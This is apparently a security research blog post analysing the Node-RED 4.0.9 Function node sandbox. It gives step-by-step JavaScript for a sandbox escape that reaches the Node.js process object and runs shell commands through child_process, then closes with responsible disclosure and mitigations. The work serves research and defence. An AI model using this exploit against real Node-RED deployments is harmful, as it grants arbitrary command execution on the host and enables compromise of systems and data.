> ## Content Index
> Fetch the complete content index at: https://yokai.hakaisecurity.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# [EN] Flow to Shell: Achieving RCE in Node-RED Through Misconfiguration
- URL: https://yokai.hakaisecurity.io/flow-to-shell-achieving-rce-in-node-red-through-misconfiguration/
- Published: 2026-02-13T17:40:53.000Z
- Updated: 2026-09-08T16:38:44.000Z
- Author: Lucas William
- Tags: Research Blog, #wp, en, #pair-rce-node-red

With the widespread adoption of workflow automation platforms in corporate environments, these solutions have come to play a **critical role** in system integration and the processing of **sensitive data**. In this context, the security of the mechanisms responsible for executing custom code becomes an **essential factor**.

This study presents a **security analysis of Node-RED**, focusing on evaluating the isolation mechanism used for executing JavaScript code within the **Function Node**. The research considers the platform’s use in environments that handle **sensitive data and critical systems**, where isolation failures may result in significant security impacts.

The analysis was conducted on **Node-RED version 4.0.9** and focused on the robustness of the sandbox implemented over the Node.js runtime. Node-RED uses a **custom implementation based on Node.js’s native `vm` module** as a containment mechanism for code execution in Function nodes. Through the application of **sandbox escaping techniques** and the exploitation of **constructors and internal Node.js objects**, it was possible to demonstrate a **breakout of the execution environment isolation**.

The results validate the possibility of achieving **Remote Code Execution (RCE)** on the host system, highlighting **relevant risks to platform integrity** and reinforcing the need for a **critical evaluation of the employed security mechanisms**.

## What is Node-RED?

According to the official [Nodered](https://nodered.org/about/?ref=yokai.hakaisecurity.io) website, 'Node-RED is a **flow-based development platform** designed to simplify integration between systems, APIs, services, and devices through a **visual interface**. Originally created by IBM and currently maintained by the **OpenJS Foundation**, Node-RED is widely used in **automation**, **Internet of Things (IoT)**, service integration, and data orchestration scenarios'

The platform is built on top of the **Node.js runtime** and follows an **event-driven model**, in which data flows between components called **nodes**. Each node represents a specific functionality, such as **data input**, **payload transformation**, execution of **custom logic**, or communication with **external services**, allowing the construction of complex flows in a **modular and visual way**.

##   
Architecture and operation

The operation of Node-RED is based on flows, which are chains of interconnected nodes. These flows are visually defined through a web editor, where users can drag, configure, and connect nodes in an intuitive way.

In general, a flow is composed of three main types of nodes:

- **Input nodes:** responsible for initiating the flow, typically triggered by external events such as HTTP requests, MQTT messages, webhooks, or scheduled events.
- Processing nodes: perform operations on data in transit, such as validation, transformation, filtering, or execution of custom logic in JavaScript.
- Output nodes: send the processed data to external destinations, such as APIs, databases, message queues, or internal systems.

Data flows between nodes through an object called `msg`, which acts as a shared message structure throughout the flow. This object can contain payloads, metadata, and context variables used during execution.

## Test environment

The testing environment was created using the **official** [**Node-RED repository**](https://github.com/node-red/node-red?ref=yokai.hakaisecurity.io), including the identification of libraries, dependencies, and technologies used by the platform. This analysis enabled a better understanding of the **application architecture** and the mechanisms adopted for executing **custom JavaScript code**.

During the security tests, **architectural parallels** were identified between **Node-RED** and the **n8n platform**. Both allow the execution of **custom JavaScript code** within workflows and rely on sandbox mechanisms built on top of the **Node.js runtime** — Node-RED through a customized implementation based on the native `vm` module, and n8n using the `vm2` library.

Despite their different purposes, both approaches present **structural isolation limitations**. Sandboxes implemented at the JavaScript runtime level may be susceptible to **sandbox escaping techniques** based on the manipulation of constructors, prototypes, and internal Node.js objects.

## Exploration

After deploying Node-RED in the testing environment, the analysis focused on the **code execution node**, aiming to verify whether the environment was **properly isolated**. As a starting point, an **inject node** was created, responsible for triggering the flow execution. It was then connected to a **function node**, where the JavaScript logic is executed inside the **sandbox environment**. Finally, a **debug node** was added to inspect the final execution result and observe the **flow behavior**.

![](https://hakaisecurity.io/wp-content/uploads/2026/02/image-16.png)

Initially, a simple expression was created to validate the basic functionality of the function node and observe the application’s behavior during flow execution. The code used was as follows

```javascript
msg.payload = 2 + 2; return msg;
```

This test confirmed that the flow was being executed correctly, allowing manipulation of the `msg` object and sending the result to the subsequent nodes in the flow.

![](https://hakaisecurity.io/wp-content/uploads/2026/02/image-17.png)

Then, by using the **constructor**, we were able to perform the same summation operation. Node.js allows access to **function constructors**.

Next, we explored the use of the function constructor to reproduce the same summation operation. In Node.js, it is possible to dynamically access function constructors, which can introduce risks when not properly controlled in **isolated environments**.

To test this functionality, we used the following expression in the function node:

```javascript
msg.payload = node.constructor.constructor('return 1 + 1')(); return msg;
```

This test demonstrated that, even within the context of the function node, it is still possible to dynamically instantiate functions, which raises important questions about the level of restriction effectively enforced by the sandbox.

![](https://hakaisecurity.io/wp-content/uploads/2026/02/image-27.png)

More aggressive tests were then conducted with the goal of identifying internal information.

Subsequently, we intensified the tests to identify internal information exposed by the execution environment. By again leveraging access to the **function constructor**, it was possible to obtain a reference to the **global sandbox context**.

The code used in the function node was as follows:

```javascript
const ctx = node.constructor.constructor('return this')();
msg.payload =Object.keys(ctx).slice(0,20);
return msg;
```

**`node.constructor.constructor(...)`** uses the JavaScript **function constructor** to dynamically create and execute a new function, bypassing normal environment abstractions.

The expression **`'return this'`** returns the **global context object** available within the function node sandbox.

The result is stored in **`ctx`**, which then represents everything accessible within the **global scope** of that execution environment.

**`Object.keys(ctx).slice(0, 20)`** enumerates the first 20 properties of this context, allowing the identification of **internally exposed objects and APIs**.

Finally, the result is assigned to **`msg.payload`** and returned so it can be visualized in the subsequent nodes of the flow.

As a result, it was possible to enumerate several objects available in the **execution context**:

```text
msg.payload: array[19]
[
  "console",
  "util",
  "Buffer",
  "Date",
  "RED",
  "__node__",
  "context",
  "flow",
  "global",
  "env",
  "setTimeout",
  "clearTimeout",
  "setInterval",
  "clearInterval",
  "promisify",
  "msg",
  "__send__",
  "__done__",
  "results"
]

```

The exposure of these objects highlights the level of access available within the sandbox, including internal Node-RED references and execution flow control mechanisms, which represents a relevant point in assessing the isolation and attack surface of the environment.

![](https://hakaisecurity.io/wp-content/uploads/2026/02/image-19.png)

As the objective was to explore potential vulnerabilities, we also attempted to map **direct access to the `process` object**, which is typically **restricted**.

Since the goal was to identify possible **isolation failures**, we tested direct access to the **`process` object**, which represents the **main Node.js process** and, when exposed, may allow **sensitive interactions with the operating system**.

To do this, we used the following code in the **function node**:

```javascript
const proc = node.constructor.constructor('return process')(); 
msg.payload = proc; 
return msg;

```

During execution, the environment returned the following error:

```text
ReferenceError: process is not defined
```

This behavior indicates that the process object is not exposed in the global context of the sandbox, demonstrating that direct **access to the Node.js** process is blocked.

![](https://hakaisecurity.io/wp-content/uploads/2026/02/image-20.png)

To make the analysis more efficient, we begin mapping the properties available in the environment after gaining access to the **process** object. For this, we use the following code in the function node:

```javascript
const ctx = node.constructor
    .constructor('return this')();

const proc = ctx.Buffer
    .constructor
    .constructor('return process')();

msg.payload = {
    has_mainModule: typeof proc.mainModule,
    has_binding: typeof proc.binding,
    platform: proc.platform,
    arch: proc.arch
};

return msg;

```

A primeira linha obtém uma referência ao contexto global da sandbox utilizando o construtor de funções, pThe first line obtains a reference to the **global sandbox context** using the **function constructor**, allowing access to **internally exposed objects**.

Next, the code uses **`ctx.Buffer.constructor.constructor`** to reach the **function constructor** again, this time leveraging a **legitimate object available in the context (`Buffer`)** as a pivot point.

The expression **`'return process'`** returns the **Node.js `process` object**, indicating that, although it is not directly exposed, it can be accessed **indirectly**.

The **`msg.payload`** object is populated with specific **process information**, used to evaluate the level of access obtained:

- **`proc.mainModule`** indicates access to the **main application module**.
- **`proc.binding`** allows interaction with **internal Node.js bindings**, which may enable **low-level operations**.
- **`proc.platform`** and **`proc.arch`** reveal **execution environment details**, such as the operating system and architecture.

Finally, the result is returned for visualization within the flow.

In this section, the **global sandbox context** is initially recovered, enabling the use of **internally exposed objects**. Then, the **`Buffer` object** is used as an access point to reach the **function constructor** again and indirectly obtain a reference to the **Node.js `process` object**.

The returned payload confirmed the availability of **sensitive runtime components**:

```text
msg.payload: Object { has_mainModule: "object", has_binding: "function", platform: "linux", arch: "x64" }
```

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2026/02/image-25.png)

These results indicate access to the application's main module, internal Node.js bindings, and runtime environment information, such as operating system and architecture.

## Escaping the Node-RED Sandbox: RCE on Function Node

After several tests, it was possible to exploit a critical vulnerability in the Node-RED Function node that allows arbitrary code to be executed on the host system.

**Exploit:**

![](https://hakaisecurity.io/wp-content/uploads/2026/02/image-21.png)

```javascript
const ctx = node.constructor.constructor('return this')();
const proc = ctx.Buffer.constructor.constructor('return process')();
const child_process = proc.mainModule.require('child_process');
const result = child_process.execSync('whoami').toString();

msg.payload = {
    status: "RCE Successful",
    output: result.trim(),
    platform: proc.platform,
    arch: proc.arch
};
return msg;
```

## Explaining the exploit in detail:

```javascript
const ctx = node.constructor.constructor('return this')();
```

- **node.constructor.constructor** accesses the **Function class constructor**
- **'return this'** creates a function that returns the **execution context**
- **Result:** access to the **internal sandbox context**, exposing objects such as **Buffer**, **console**, etc.

```javascript
const proc = ctx.Buffer.constructor.constructor('return process')();
```

- **ctx.Buffer.constructor.constructor** creates a **Function outside the sandbox restrictions**
- **'return process'** returns the **Node.js process object** (normally restricted)

```javascript
const child_process = proc.mainModule.require('child_process');
```

- **proc.mainModule.require** loads **internal Node.js modules**
- **child\_process** is the module responsible for **executing system commands**

```javascript
const result = child_process.execSync('whoami').toString();
```

- **execSync()** executes **shell commands synchronously**
- **'whoami'** retrieves the **current system user** (can be replaced with any command)
- Returns the **command output**

```javascript
msg.payload = { status: "RCE Successful", output: result.trim(), platform: proc.platform, arch: proc.arch }; return msg;
```

- Architecture
- Builds an object containing the **execution results**
- **result.trim()** removes whitespace from the output
- Adds **system information**, including:

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2026/02/image-22.png)

![](https://hakaisecurity.io/wp-content/uploads/2026/02/image-23.png)

The tests were performed on the **latest available version of Node-RED** at the time of the analysis, **Node-RED 4.0.9**, using the **official Docker image `nodered/node-red:4.0.9`**, running on **Node.js v20.19.0**.

```bash
docker run -d -p 1880:1880 --name nodered-test nodered/node-red:4.0.9clear
```

In this environment, it was possible to confirm the existence of a **vulnerability** that allows **remote code execution (RCE)** through the **function node**, demonstrating a **critical failure in sandbox isolation** and in the **security model adopted by the platform** in this version.

## Responsible Disclosure

After identifying the problem, we made a responsible report to Node-RED. The maintainers acknowledged the issue and confirmed the risk, explaining that there had already been a discussion in the community about this vulnerability. According to their response, the main current mitigation consists of restricting deployment permissions and preventing untrusted users from executing or creating code nodes.

Furthermore, they indicated that improvements to the default security configuration are being considered for future versions, as shown in the image below.  

![](https://hakaisecurity.io/wp-content/uploads/2026/02/Captura-de-tela-2026-02-13-134150.png)

## Conclusion

Research has demonstrated that the **Function node isolation mechanism in Node-RED (v4.0.9)** contains **critical vulnerabilities**, allowing **Remote Code Execution (RCE)** on the host system. The exploitation was enabled by limitations in the **native Node.js `vm` module**, which allowed the use of **sandbox escaping techniques** and access to **critical modules such as `child_process`**. This vulnerability allows arbitrary code to be executed outside the expected scope of the Function node, directly compromising the host system. Although Node-RED was not designed to execute untrusted code, the presence of this vector significantly expands the attack surface in scenarios where editor access is exposed or improperly controlled.

In sensitive environments, mitigation relies on implementing infrastructure-level isolation controls, enforcing strict privilege restrictions, and maintaining continuous visibility over executions within Function nodes.